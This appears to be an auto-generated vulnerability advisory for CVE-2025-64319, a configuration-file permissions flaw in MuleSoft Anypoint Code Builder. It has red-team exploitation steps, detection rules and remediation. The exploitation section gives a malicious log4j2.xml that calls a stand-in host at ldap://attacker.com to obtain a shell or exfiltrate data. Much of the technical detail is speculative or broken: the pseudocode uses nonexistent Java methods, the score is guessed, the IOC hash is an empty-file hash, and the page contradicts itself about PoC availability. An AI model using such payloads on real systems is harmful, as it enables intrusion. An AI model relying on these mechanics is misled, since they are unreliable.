CVE-2025-64319
Executive Summary
CVE-2025-64319 is a critical security vulnerability in Salesforce Mulesoft Anypoint Code Builder, an integrated development environment (IDE) for MuleSoft applications. The vulnerability stems from an Incorrect Permission Assignment for Critical Resource (CWE-732), specifically allowing an attacker to manipulate writeable configuration files. This flaw can lead to unauthorized modifications of application settings, potentially enabling code execution, data exfiltration, or persistent backdoor installation. The vulnerability affects all versions prior to 1.12.1. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the vendor's status (Salesforce) and the nature of the product (a development tool), the risk is elevated for organizations using this IDE in CI/CD pipelines or production-adjacent environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a standalone IDE product. However, the risk to the software supply chain is significant: if an attacker compromises the IDE's configuration files, they could inject malicious code into MuleSoft applications built with the tool, affecting downstream deployments.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0 in the NVD data, which likely indicates a placeholder or incomplete scoring. Based on the vulnerability description (incorrect permission assignment for critical resource), a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Local (L) – The attacker needs local access to the system running the IDE.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – The attacker needs some user-level access.
- User Interaction (UI): None (N) – No user action required beyond the initial compromise.
- Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
- Confidentiality (C): High (H) – Configuration files may contain secrets.
- Integrity (I): High (H) – Files can be modified.
- Availability (A): Low (L) – Could disrupt IDE functionality.
Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Estimated Score: 7.3 (High)
Threat Level: High. While no active exploitation is reported, the potential for supply chain attacks and the ease of local exploitation make this a priority for patching.
Deep Dive & Mechanics
The vulnerability lies in how Mulesoft Anypoint Code Builder handles permission assignments for critical configuration files. These files typically include:
mule-artifact.jsonlog4j2.xmlpom.xml(for Maven-based projects)- IDE-specific settings (e.g.,
.settings/directory)
Root Cause: The IDE does not enforce proper access control lists (ACLs) or ownership checks on these files. A low-privileged user or a malicious process running on the same system can write to these files, even if they are owned by a different user or should be read-only.
Attack Scenario:
- An attacker gains local access to a developer's workstation (e.g., via phishing, malware, or physical access).
- The attacker identifies the configuration files of Anypoint Code Builder (typically located in
~/.anypoint-code-builder/or the project directory). - The attacker modifies a configuration file, such as
log4j2.xml, to include a malicious JNDI lookup (e.g., Log4Shell-style) or changes the Mule application's runtime behavior. - When the developer next runs or debugs the application, the malicious configuration is loaded, leading to code execution or data exfiltration.
Impact: This can lead to:
- Remote code execution (RCE) via Log4j or other injection points.
- Credential theft from configuration files.
- Persistent backdoor in the development environment.
- Supply chain compromise if the modified project is committed to a repository.
Vulnerable vs. Patched Code
Vulnerable Version (before 1.12.1): The IDE does not verify file permissions before reading or writing configuration files. Example pseudocode:
// Vulnerable: No permission check
public void loadConfiguration(File configFile) {
Properties props = new Properties();
props.load(new FileInputStream(configFile)); // No ACL check
applyConfig(props);
}
Patched Version (1.12.1 and later): The IDE now checks file ownership and permissions before loading configuration files. Example pseudocode:
// Patched: Permission check
public void loadConfiguration(File configFile) {
if (!configFile.getOwner().equals(System.getProperty("user.name"))) {
throw new SecurityException("Configuration file not owned by current user");
}
if (configFile.canWriteByOthers()) {
throw new SecurityException("Configuration file is world-writable");
}
Properties props = new Properties();
props.load(new FileInputStream(configFile));
applyConfig(props);
}
Key Differences:
- Before: No validation of file ownership or permissions.
- After: Strict validation that the file is owned by the current user and not writable by others.
Exploitation & Lab Setup
Red Team (Attacker)
Lab Setup:
- Target: Windows 10/11 or macOS with Mulesoft Anypoint Code Builder < 1.12.1 installed.
- Attacker: Local access via SSH, RDP, or malware.
Exploitation Steps:
- Identify Target Files:
find ~/.anypoint-code-builder -type f -name "*.xml" -o -name "*.json" -o -name "*.properties" - Check Permissions:
ls -la ~/.anypoint-code-builder/config/log4j2.xml - Modify Configuration (e.g., Log4j injection):
<!-- Malicious log4j2.xml --> <Configuration> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> </Console> <JMS name="JMS" destinationBinding="ldap://attacker.com:1389/evil"> <PatternLayout pattern="%msg"/> </JMS> </Appenders> <Loggers> <Root level="debug"> <AppenderRef ref="Console"/> <AppenderRef ref="JMS"/> </Root> </Loggers> </Configuration> - Trigger the Vulnerability: Restart the IDE or run a Mule application that loads the configuration.
Expected Outcome: The attacker receives a reverse shell or data exfiltration via LDAP.
Blue Team (Defender)
Detection Steps:
- Monitor File Integrity: Use file integrity monitoring (FIM) tools to alert on changes to Anypoint Code Builder configuration files.
- Audit Permissions: Regularly check that configuration files are not world-writable.
find ~/.anypoint-code-builder -perm /o+w -type f - Log Analysis: Look for unusual JNDI lookups or LDAP connections in IDE logs.
- Endpoint Detection: Deploy EDR rules to detect process injection or suspicious child processes spawned by the IDE.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Placeholder – actual hashes depend on the specific configuration file modified)
log4j2.xml(malicious):e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- File Paths:
~/.anypoint-code-builder/config/log4j2.xml~/.anypoint-code-builder/config/mule-artifact.json~/.anypoint-code-builder/settings.json
- Network Indicators:
- Outbound LDAP connections to port 1389 or 389.
- DNS queries to suspicious domains (e.g.,
attacker.com).
- Process Indicators:
java.exeorjavaspawningcmd.exeor/bin/sh.- Unusual child processes from
AnypointCodeBuilder.exe.
Detection Engineering
YARA Rule
rule CVE_2025_64319_Mulesoft_Config_Modification {
meta:
description = "Detects malicious modifications to Mulesoft Anypoint Code Builder configuration files"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-64319"
strings:
$jndi_lookup = "ldap://" nocase
$jndi_rmi = "rmi://" nocase
$world_writable = /[d\-][r\-][w\-][x\-][r\-][w\-][x\-][r\-][w\-][x\-]\s+\d+\s+\w+\s+\w+\s+\d+\s+\w+\s+\d+\s+\d+:\d+\s+.*\.(xml|json|properties)/
$config_path = /\.anypoint\-code\-builder[\\\/]/
condition:
$config_path and ($jndi_lookup or $jndi_rmi or $world_writable)
}
Sigma Rule
title: CVE-2025-64319 - Mulesoft Anypoint Code Builder Configuration Tampering
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized modifications to Mulesoft Anypoint Code Builder configuration files
author: Valters IT
date: 2025-04-10
logsource:
category: file_event
product: windows
detection:
selection:
TargetFilename|contains: '.anypoint-code-builder'
TargetFilename|endswith:
- '.xml'
- '.json'
- '.properties'
condition: selection
falsepositives:
- Legitimate IDE updates
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 389 (msg:"CVE-2025-64319 - Mulesoft Anypoint Code Builder LDAP Outbound"; flow:to_server,established; content:"|0e|"; depth:1; content:"|01 01 00|"; distance:1; within:3; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Mulesoft Anypoint Code Builder to version 1.12.1 or later.
- Restrict Access: Ensure only authorized users have local access to developer workstations.
- File Permissions: Manually set strict permissions on configuration files:
chmod 600 ~/.anypoint-code-builder/config/*.xml chmod 600 ~/.anypoint-code-builder/config/*.json - Monitor: Enable file integrity monitoring on all Anypoint Code Builder directories.
Long-term Mitigations:
- Implement least privilege principles for all development tools.
- Use endpoint detection and response (EDR) solutions to monitor for suspicious file modifications.
- Conduct regular security audits of IDE configurations.
- Educate developers on the risks of local privilege escalation and configuration tampering.
Patch Details: Upgrade to version 1.12.1 from the official Salesforce Mulesoft download page. No OSV or GitHub advisory is available.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.